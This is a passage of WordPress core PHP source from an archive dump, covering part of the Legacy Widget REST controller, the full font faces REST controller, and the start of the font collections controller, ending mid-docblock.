	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 *
	 * @return array An array with rendered Legacy Widget HTML.
	 */
	public function render( $request ) {
		return array(
			'preview' => $this->render_legacy_widget_preview_iframe(
				$request['id'],
				isset( $request['instance'] ) ? $request['instance'] : null
			),
		);
	}

	/**
	 * Renders a page containing a preview of the requested Legacy Widget block.
	 *
	 * @since 5.9.0
	 *
	 * @param string $id_base The id base of the requested widget.
	 * @param array  $instance The widget instance attributes.
	 *
	 * @return string Rendered Legacy Widget block preview.
	 */
	private function render_legacy_widget_preview_iframe( $id_base, $instance ) {
		if ( ! defined( 'IFRAME_REQUEST' ) ) {
			define( 'IFRAME_REQUEST', true );
		}

		ob_start();
		?>
		<!doctype html>
		<html <?php language_attributes(); ?>>
		<head>
			<meta charset="<?php bloginfo( 'charset' ); ?>" />
			<meta name="viewport" content="width=device-width, initial-scale=1" />
			<link rel="profile" href="https://gmpg.org/xfn/11" />
			<?php wp_head(); ?>
			<style>
				/* Reset theme styles */
				html, body, #page, #content {
					padding: 0 !important;
					margin: 0 !important;
				}
			</style>
		</head>
		<body <?php body_class(); ?>>
		<div id="page" class="site">
			<div id="content" class="site-content">
				<?php
				$registry = WP_Block_Type_Registry::get_instance();
				$block    = $registry->get_registered( 'core/legacy-widget' );
				echo $block->render(
					array(
						'idBase'   => $id_base,
						'instance' => $instance,
					)
				);
				?>
			</div><!-- #content -->
		</div><!-- #page -->
		<?php wp_footer(); ?>
		</body>
		</html>
		<?php
		return ob_get_clean();
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 5.8.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-font-faces-controller.php000060400000072164151724720270016205 0ustar00<?php
/**
 * REST API: WP_REST_Font_Faces_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.5.0
 */

/**
 * Class to access font faces through the REST API.
 */
class WP_REST_Font_Faces_Controller extends WP_REST_Posts_Controller {

	/**
	 * The latest version of theme.json schema supported by the controller.
	 *
	 * @since 6.5.0
	 * @var int
	 */
	const LATEST_THEME_JSON_VERSION_SUPPORTED = 3;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.5.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Registers the routes for posts.
	 *
	 * @since 6.5.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				'args'   => array(
					'font_family_id' => array(
						'description' => __( 'The ID for the parent font family of the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_create_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'font_family_id' => array(
						'description' => __( 'The ID for the parent font family of the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
					'id'             => array(
						'description' => __( 'Unique identifier for the font face.' ),
						'type'        => 'integer',
						'required'    => true,
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force' => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.', 'default' ),
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to font faces.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$post_type = get_post_type_object( $this->post_type );

		if ( ! current_user_can( $post_type->cap->read ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access font faces.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks if a given request has access to a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		if ( ! current_user_can( 'read_post', $post->ID ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access this font face.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Validates settings when creating a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string          $value   Encoded JSON string of font face settings.
	 * @param WP_REST_Request $request Request object.
	 * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object.
	 */
	public function validate_create_font_face_settings( $value, $request ) {
		$settings = json_decode( $value, true );

		// Check settings string is valid JSON.
		if ( null === $settings ) {
			return new WP_Error(
				'rest_invalid_param',
				__( 'font_face_settings parameter must be a valid JSON string.' ),
				array( 'status' => 400 )
			);
		}

		// Check that the font face settings match the theme.json schema.
		$schema             = $this->get_item_schema()['properties']['font_face_settings'];
		$has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_face_settings' );

		if ( is_wp_error( $has_valid_settings ) ) {
			$has_valid_settings->add_data( array( 'status' => 400 ) );
			return $has_valid_settings;
		}

		// Check that none of the required settings are empty values.
		$required = $schema['required'];
		foreach ( $required as $key ) {
			if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Name of the missing font face settings parameter, e.g. "font_face_settings[src]". */
					sprintf( __( '%s cannot be empty.' ), "font_face_setting[ $key ]" ),
					array( 'status' => 400 )
				);
			}
		}

		$srcs  = is_array( $settings['src'] ) ? $settings['src'] : array( $settings['src'] );
		$files = $request->get_file_params();

		foreach ( $srcs as $src ) {
			// Check that each src is a non-empty string.
			$src = ltrim( $src );
			if ( empty( $src ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: %s: Font face source parameter name: "font_face_settings[src]". */
					sprintf( __( '%s values must be non-empty strings.' ), 'font_face_settings[src]' ),
					array( 'status' => 400 )
				);
			}

			// Check that srcs are valid URLs or file references.
			if ( false === wp_http_validate_url( $src ) && ! isset( $files[ $src ] ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: 1: Font face source parameter name: "font_face_settings[src]", 2: The invalid src value. */
					sprintf( __( '%1$s value "%2$s" must be a valid URL or file reference.' ), 'font_face_settings[src]', $src ),
					array( 'status' => 400 )
				);
			}
		}

		// Check that each file in the request references a src in the settings.
		foreach ( array_keys( $files ) as $file ) {
			if ( ! in_array( $file, $srcs, true ) ) {
				return new WP_Error(
					'rest_invalid_param',
					/* translators: 1: File key (e.g. "file-0") in the request data, 2: Font face source parameter name: "font_face_settings[src]". */
					sprintf( __( 'File %1$s must be used in %2$s.' ), $file, 'font_face_settings[src]' ),
					array( 'status' => 400 )
				);
			}
		}

		return true;
	}

	/**
	 * Sanitizes the font face settings when creating a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Encoded JSON string of font face settings.
	 * @return array Decoded and sanitized array of font face settings.
	 */
	public function sanitize_font_face_settings( $value ) {
		// Settings arrive as stringified JSON, since this is a multipart/form-data request.
		$settings = json_decode( $value, true );
		$schema   = $this->get_item_schema()['properties']['font_face_settings']['properties'];

		// Sanitize settings based on callbacks in the schema.
		foreach ( $settings as $key => $value ) {
			$sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback'];
			$settings[ $key ]  = call_user_func( $sanitize_callback, $value );
		}

		return $settings;
	}

	/**
	 * Retrieves a collection of font faces within the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		return parent::get_items( $request );
	}

	/**
	 * Retrieves a single font face within the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		// Check that the font face has a valid parent font family.
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		if ( (int) $font_family->ID !== (int) $post->post_parent ) {
			return new WP_Error(
				'rest_font_face_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ),
				array( 'status' => 404 )
			);
		}

		return parent::get_item( $request );
	}

	/**
	 * Creates a font face for the parent font family.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		// Settings have already been decoded by ::sanitize_font_face_settings().
		$settings    = $request->get_param( 'font_face_settings' );
		$file_params = $request->get_file_params();

		// Check that the necessary font face properties are unique.
		$query = new WP_Query(
			array(
				'post_type'              => $this->post_type,
				'posts_per_page'         => 1,
				'title'                  => WP_Font_Utils::get_font_face_slug( $settings ),
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
			)
		);
		if ( ! empty( $query->posts ) ) {
			return new WP_Error(
				'rest_duplicate_font_face',
				__( 'A font face matching those settings already exists.' ),
				array( 'status' => 400 )
			);
		}

		// Move the uploaded font asset from the temp folder to the fonts directory.
		if ( ! function_exists( 'wp_handle_upload' ) ) {
			require_once ABSPATH . 'wp-admin/includes/file.php';
		}

		$srcs           = is_string( $settings['src'] ) ? array( $settings['src'] ) : $settings['src'];
		$processed_srcs = array();
		$font_file_meta = array();

		foreach ( $srcs as $src ) {
			// If src not a file reference, use it as is.
			if ( ! isset( $file_params[ $src ] ) ) {
				$processed_srcs[] = $src;
				continue;
			}

			$file      = $file_params[ $src ];
			$font_file = $this->handle_font_file_upload( $file );
			if ( is_wp_error( $font_file ) ) {
				return $font_file;
			}

			$processed_srcs[] = $font_file['url'];
			$font_file_meta[] = $this->relative_fonts_path( $font_file['file'] );
		}

		// Store the updated settings for prepare_item_for_database to use.
		$settings['src'] = count( $processed_srcs ) === 1 ? $processed_srcs[0] : $processed_srcs;
		$request->set_param( 'font_face_settings', $settings );

		// Ensure that $settings data is slashed, so values with quotes are escaped.
		// WP_REST_Posts_Controller::create_item uses wp_slash() on the post_content.
		$font_face_post = parent::create_item( $request );

		if ( is_wp_error( $font_face_post ) ) {
			return $font_face_post;
		}

		$font_face_id = $font_face_post->data['id'];

		foreach ( $font_file_meta as $font_file_path ) {
			add_post_meta( $font_face_id, '_wp_font_face_file', $font_file_path );
		}

		return $font_face_post;
	}

	/**
	 * Deletes a single font face.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$post = $this->get_post( $request['id'] );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		$font_family = $this->get_parent_font_family_post( $request['font_family_id'] );
		if ( is_wp_error( $font_family ) ) {
			return $font_family;
		}

		if ( (int) $font_family->ID !== (int) $post->post_parent ) {
			return new WP_Error(
				'rest_font_face_parent_id_mismatch',
				/* translators: %d: A post id. */
				sprintf( __( 'The font face does not belong to the specified font family with id of "%d".' ), $font_family->ID ),
				array( 'status' => 404 )
			);
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		// We don't support trashing for font faces.
		if ( ! $force ) {
			return new WP_Error(
				'rest_trash_not_supported',
				/* translators: %s: force=true */
				sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ),
				array( 'status' => 501 )
			);
		}

		return parent::delete_item( $request );
	}

	/**
	 * Prepares a single font face output for response.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $item->ID;
		}
		if ( rest_is_field_included( 'theme_json_version', $fields ) ) {
			$data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED;
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = $item->post_parent;
		}

		if ( rest_is_field_included( 'font_face_settings', $fields ) ) {
			$data['font_face_settings'] = $this->get_settings_from_post( $item );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		/**
		 * Filters the font face data for a REST API response.
		 *
		 * @since 6.5.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Font face post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( 'rest_prepare_wp_font_face', $response, $item, $request );
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 6.5.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'id'                 => array(
					'description' => __( 'Unique identifier for the post.', 'default' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'theme_json_version' => array(
					'description' => __( 'Version of the theme.json schema used for the typography settings.' ),
					'type'        => 'integer',
					'default'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'minimum'     => 2,
					'maximum'     => static::LATEST_THEME_JSON_VERSION_SUPPORTED,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'parent'             => array(
					'description' => __( 'The ID for the parent font family of the font face.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				// Font face settings come directly from theme.json schema
				// See https://schemas.wp.org/trunk/theme.json
				'font_face_settings' => array(
					'description'          => __( 'font-face declaration in theme.json format.' ),
					'type'                 => 'object',
					'context'              => array( 'view', 'edit', 'embed' ),
					'properties'           => array(
						'fontFamily'            => array(
							'description' => __( 'CSS font-family value.' ),
							'type'        => 'string',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ),
							),
						),
						'fontStyle'             => array(
							'description' => __( 'CSS font-style value.' ),
							'type'        => 'string',
							'default'     => 'normal',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontWeight'            => array(
							'description' => __( 'List of available font weights, separated by a space.' ),
							'default'     => '400',
							// Changed from `oneOf` to avoid errors from loose type checking.
							// e.g. a fontWeight of "400" validates as both a string and an integer due to is_numeric check.
							'type'        => array( 'string', 'integer' ),
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontDisplay'           => array(
							'description' => __( 'CSS font-display value.' ),
							'type'        => 'string',
							'default'     => 'fallback',
							'enum'        => array(
								'auto',
								'block',
								'fallback',
								'swap',
								'optional',
							),
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'src'                   => array(
							'description' => __( 'Paths or URLs to the font files.' ),
							// Changed from `oneOf` to `anyOf` due to rest_sanitize_array converting a string into an array,
							// and causing a "matches more than one of the expected formats" error.
							'anyOf'       => array(
								array(
									'type' => 'string',
								),
								array(
									'type'  => 'array',
									'items' => array(
										'type' => 'string',
									),
								),
							),
							'default'     => array(),
							'arg_options' => array(
								'sanitize_callback' => function ( $value ) {
									return is_array( $value ) ? array_map( array( $this, 'sanitize_src' ), $value ) : $this->sanitize_src( $value );
								},
							),
						),
						'fontStretch'           => array(
							'description' => __( 'CSS font-stretch value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'ascentOverride'        => array(
							'description' => __( 'CSS ascent-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'descentOverride'       => array(
							'description' => __( 'CSS descent-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontVariant'           => array(
							'description' => __( 'CSS font-variant value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontFeatureSettings'   => array(
							'description' => __( 'CSS font-feature-settings value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'fontVariationSettings' => array(
							'description' => __( 'CSS font-variation-settings value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'lineGapOverride'       => array(
							'description' => __( 'CSS line-gap-override value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'sizeAdjust'            => array(
							'description' => __( 'CSS size-adjust value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'unicodeRange'          => array(
							'description' => __( 'CSS unicode-range value.' ),
							'type'        => 'string',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_text_field',
							),
						),
						'preview'               => array(
							'description' => __( 'URL to a preview image of the font face.' ),
							'type'        => 'string',
							'format'      => 'uri',
							'default'     => '',
							'arg_options' => array(
								'sanitize_callback' => 'sanitize_url',
							),
						),
					),
					'required'             => array( 'fontFamily', 'src' ),
					'additionalProperties' => false,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 6.5.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = parent::get_public_item_schema();

		// Also remove `arg_options' from child font_family_settings properties, since the parent
		// controller only handles the top level properties.
		foreach ( $schema['properties']['font_face_settings']['properties'] as &$property ) {
			unset( $property['arg_options'] );
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the font face collection.
	 *
	 * @since 6.5.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		// Remove unneeded params.
		unset(
			$query_params['after'],
			$query_params['modified_after'],
			$query_params['before'],
			$query_params['modified_before'],
			$query_params['search'],
			$query_params['search_columns'],
			$query_params['slug'],
			$query_params['status']
		);

		$query_params['orderby']['default'] = 'id';
		$query_params['orderby']['enum']    = array( 'id', 'include' );

		/**
		 * Filters collection parameters for the font face controller.
		 *
		 * @since 6.5.0
		 *
		 * @param array $query_params JSON Schema-formatted collection parameters.
		 */
		return apply_filters( 'rest_wp_font_face_collection_params', $query_params );
	}

	/**
	 * Get the params used when creating a new font face.
	 *
	 * @since 6.5.0
	 *
	 * @return array Font face create arguments.
	 */
	public function get_create_params() {
		$properties = $this->get_item_schema()['properties'];
		return array(
			'theme_json_version' => $properties['theme_json_version'],
			// When creating, font_face_settings is stringified JSON, to work with multipart/form-data used
			// when uploading font files.
			'font_face_settings' => array(
				'description'       => __( 'font-face declaration in theme.json format, encoded as a string.' ),
				'type'              => 'string',
				'required'          => true,
				'validate_callback' => array( $this, 'validate_create_font_face_settings' ),
				'sanitize_callback' => array( $this, 'sanitize_font_face_settings' ),
			),
		);
	}

	/**
	 * Get the parent font family, if the ID is valid.
	 *
	 * @since 6.5.0
	 *
	 * @param int $font_family_id Supplied ID.
	 * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_parent_font_family_post( $font_family_id ) {
		$error = new WP_Error(
			'rest_post_invalid_parent',
			__( 'Invalid post parent ID.', 'default' ),
			array( 'status' => 404 )
		);

		if ( (int) $font_family_id <= 0 ) {
			return $error;
		}

		$font_family_post = get_post( (int) $font_family_id );

		if ( empty( $font_family_post ) || empty( $font_family_post->ID )
		|| 'wp_font_family' !== $font_family_post->post_type
		) {
			return $error;
		}

		return $font_family_post;
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		return array(
			'self'       => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces/' . $post->ID ),
			),
			'collection' => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent . '/font-faces' ),
			),
			'parent'     => array(
				'href' => rest_url( $this->namespace . '/font-families/' . $post->post_parent ),
			),
		);
	}

	/**
	 * Prepares a single font face post for creation.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return stdClass Post object.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared_post = new stdClass();

		// Settings have already been decoded by ::sanitize_font_face_settings().
		$settings = $request->get_param( 'font_face_settings' );

		// Store this "slug" as the post_title rather than post_name, since it uses the fontFamily setting,
		// which may contain multibyte characters.
		$title = WP_Font_Utils::get_font_face_slug( $settings );

		$prepared_post->post_type    = $this->post_type;
		$prepared_post->post_parent  = $request['font_family_id'];
		$prepared_post->post_status  = 'publish';
		$prepared_post->post_title   = $title;
		$prepared_post->post_name    = sanitize_title( $title );
		$prepared_post->post_content = wp_json_encode( $settings );

		return $prepared_post;
	}

	/**
	 * Sanitizes a single src value for a font face.
	 *
	 * @since 6.5.0
	 *
	 * @param string $value Font face src that is a URL or the key for a $_FILES array item.
	 * @return string Sanitized value.
	 */
	protected function sanitize_src( $value ) {
		$value = ltrim( $value );
		return false === wp_http_validate_url( $value ) ? (string) $value : sanitize_url( $value );
	}

	/**
	 * Handles the upload of a font file using wp_handle_upload().
	 *
	 * @since 6.5.0
	 *
	 * @param array $file Single file item from $_FILES.
	 * @return array|WP_Error Array containing uploaded file attributes on success, or WP_Error object on failure.
	 */
	protected function handle_font_file_upload( $file ) {
		add_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) );
		// Filter the upload directory to return the fonts directory.
		add_filter( 'upload_dir', '_wp_filter_font_directory' );

		$overrides = array(
			'upload_error_handler' => array( $this, 'handle_font_file_upload_error' ),
			// Not testing a form submission.
			'test_form'            => false,
			// Only allow uploading font files for this request.
			'mimes'                => WP_Font_Utils::get_allowed_font_mime_types(),
		);

		// Bypasses is_uploaded_file() when running unit tests.
		if ( defined( 'DIR_TESTDATA' ) && DIR_TESTDATA ) {
			$overrides['action'] = 'wp_handle_mock_upload';
		}

		$uploaded_file = wp_handle_upload( $file, $overrides );

		remove_filter( 'upload_dir', '_wp_filter_font_directory' );
		remove_filter( 'upload_mimes', array( 'WP_Font_Utils', 'get_allowed_font_mime_types' ) );

		return $uploaded_file;
	}

	/**
	 * Handles file upload error.
	 *
	 * @since 6.5.0
	 *
	 * @param array  $file    File upload data.
	 * @param string $message Error message from wp_handle_upload().
	 * @return WP_Error WP_Error object.
	 */
	public function handle_font_file_upload_error( $file, $message ) {
		$status = 500;
		$code   = 'rest_font_upload_unknown_error';

		if ( __( 'Sorry, you are not allowed to upload this file type.' ) === $message ) {
			$status = 400;
			$code   = 'rest_font_upload_invalid_file_type';
		}

		return new WP_Error( $code, $message, array( 'status' => $status ) );
	}

	/**
	 * Returns relative path to an uploaded font file.
	 *
	 * The path is relative to the current fonts directory.
	 *
	 * @since 6.5.0
	 * @access private
	 *
	 * @param string $path Full path to the file.
	 * @return string Relative path on success, unchanged path on failure.
	 */
	protected function relative_fonts_path( $path ) {
		$new_path = $path;

		$fonts_dir = wp_get_font_dir();
		if ( str_starts_with( $new_path, $fonts_dir['basedir'] ) ) {
			$new_path = str_replace( $fonts_dir['basedir'], '', $new_path );
			$new_path = ltrim( $new_path, '/' );
		}

		return $new_path;
	}

	/**
	 * Gets the font face's settings from the post.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_Post $post Font face post object.
	 * @return array Font face settings array.
	 */
	protected function get_settings_from_post( $post ) {
		$settings   = json_decode( $post->post_content, true );
		$properties = $this->get_item_schema()['properties']['font_face_settings']['properties'];

		// Provide required, empty settings if needed.
		if ( null === $settings ) {
			$settings = array(
				'fontFamily' => '',
				'src'        => array(),
			);
		}

		// Only return the properties defined in the schema.
		return array_intersect_key( $settings, $properties );
	}
}
endpoints/class-wp-rest-font-collections-controller.php000064400000024634151724720270017445 0ustar00<?php
/**
 * Rest Font Collections Controller.
 *
 * This file contains the class for the REST API Font Collections Controller.
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.5.0
 */

/**
 * Font Library Controller class.
 *
 * @since 6.5.0
 */
class WP_REST_Font_Collections_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 6.5.0
	 */
	public function __construct() {
		$this->rest_base = 'font-collections';
		$this->namespace = 'wp/v2';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.5.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),

				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<slug>[\/\w-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Gets the font collections available.
	 *
	 * @since 6.5.0
	 *
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$collections_all = WP_Font_Library::get_instance()->get_font_collections();

		$page        = $request['page'];
		$per_page    = $request['per_page'];
		$total_items = count( $collections_all );
		$max_pages   = (int) ceil( $total_items / $per_page );

		if ( $page > $max_pages && $total_items > 0 ) {
			return new WP_Error(
				'rest_post_invalid_page_number',
				__( 'The page number requested is larger than the number of pages available.' ),
				array( 'status' => 400 )
			);
		}

		$collections_page = array_slice( $collections_all, ( $page - 1 ) * $per_page, $per_page );

		$is_head_request = $request->is_method( 'HEAD' );

		$items = array();
		foreach ( $collections_page as $collection ) {
			$item = $this->prepare_item_for_response( $collection, $request );

			// If there's an error loading a collection, skip it and continue loading valid collections.
			if ( is_wp_error( $item ) ) {
				continue;
			}

			/*
			 * Skip preparing the response body for HEAD requests.
			 * Cannot exit earlier due to backward compatibility reasons,
			 * as validation occurs in the prepare_item_for_response method.
			 */
			if ( $is_head_request ) {
				continue;
			}

			$item    = $this->prepare_response_for_collection( $item );
			$items[] = $item;
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $items );

		$response->header( 'X-WP-Total', (int) $total_items );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$request_params = $request->get_query_params();
		$collection_url = rest_url( $this->namespace . '/' . $this->rest_base );
		$base           = add_query_arg( urlencode_deep( $request_params ), $collection_url );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Gets a font collection.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$slug       = $request->get_param( 'slug' );
		$collection = WP_Font_Library::get_instance()->get_font_collection( $slug );

		if ( ! $collection ) {
			return new WP_Error( 'rest_font_collection_not_found', __( 'Font collection not found.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $collection, $request );
	}

	/**
	* Prepare a single collection output for response.
	*
	* @since 6.5.0
	*
	* @param WP_Font_Collection $item    Font collection object.
	* @param WP_REST_Request    $request Request object.
	* @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
